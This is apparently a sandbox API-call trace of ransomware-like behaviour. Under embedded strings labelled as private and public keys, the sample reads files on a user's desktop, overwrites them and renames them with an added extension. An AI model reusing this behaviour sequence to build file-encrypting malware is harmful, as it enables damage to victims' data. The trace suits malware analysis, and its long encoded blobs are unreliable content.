p5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0126.565] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0126.566] GetCurrentThreadId () returned 0xa30 [0126.566] GetCurrentThreadId () returned 0xa30 [0126.566] GetCurrentThreadId () returned 0xa30 [0126.567] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0126.567] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0126.567] GetCurrentThreadId () returned 0xa30 [0126.567] GetCurrentThreadId () returned 0xa30 [0126.567] GetCurrentThreadId () returned 0xa30 [0126.567] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2RLAZi.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2rlazi.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0126.568] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0126.568] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0126.568] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xef83 [0126.568] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0126.568] ReadFile (in: hFile=0x120, lpBuffer=0x1ef8f70, nNumberOfBytesToRead=0xef83, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef8f70*, lpNumberOfBytesRead=0x18f96c*=0xef83, lpOverlapped=0x0) returned 1 [0126.571] CloseHandle (hObject=0x120) returned 1 [0126.573] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2RLAZi.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2rlazi.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0126.576] WriteFile (in: hFile=0x120, lpBuffer=0x1f08fa0*, nNumberOfBytesToWrite=0xef83, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f08fa0*, lpNumberOfBytesWritten=0x18f978*=0xef83, lpOverlapped=0x0) returned 1 [0126.580] CloseHandle (hObject=0x120) returned 1 [0126.581] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2RLAZi.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2rlazi.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2RLAZi.mkv.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2rlazi.mkv.zv7un")) returned 1 [0126.583] GetCurrentThreadId () returned 0xa30 [0126.583] GetCurrentThreadId () returned 0xa30 [0126.583] GetCurrentThreadId () returned 0xa30 [0126.583] GetCurrentThreadId () returned 0xa30 [0126.583] GetCurrentThreadId () returned 0xa30 [0126.583] GetCurrentThreadId () returned 0xa30 [0126.583] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72355250, ftCreationTime.dwHighDateTime=0x1d5da9f, ftLastAccessTime.dwLowDateTime=0x50cc3c10, ftLastAccessTime.dwHighDateTime=0x1d5dab7, ftLastWriteTime.dwLowDateTime=0x50cc3c10, ftLastWriteTime.dwHighDateTime=0x1d5dab7, nFileSizeHigh=0x0, nFileSizeLow=0x159c0, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="3EF9zUy0rQi_.avi", cAlternateFileName="3EF9ZU~1.AVI")) returned 1 [0126.584] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0126.584] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0126.584] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3EF9zUy0rQi_.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ef9zuy0rqi_.avi"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72355250, ftCreationTime.dwHighDateTime=0x1d5da9f, ftLastAccessTime.dwLowDateTime=0x50cc3c10, ftLastAccessTime.dwHighDateTime=0x1d5dab7, ftLastWriteTime.dwLowDateTime=0x50cc3c10, ftLastWriteTime.dwHighDateTime=0x1d5dab7, nFileSizeHigh=0x0, nFileSizeLow=0x159c0)) returned 1 [0126.584] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3EF9zUy0rQi_.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ef9zuy0rqi_.avi")) returned 0x20 [0126.584] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3EF9zUy0rQi_.avi", dwFileAttributes=0x80) returned 1 [0126.586] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0126.587] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8K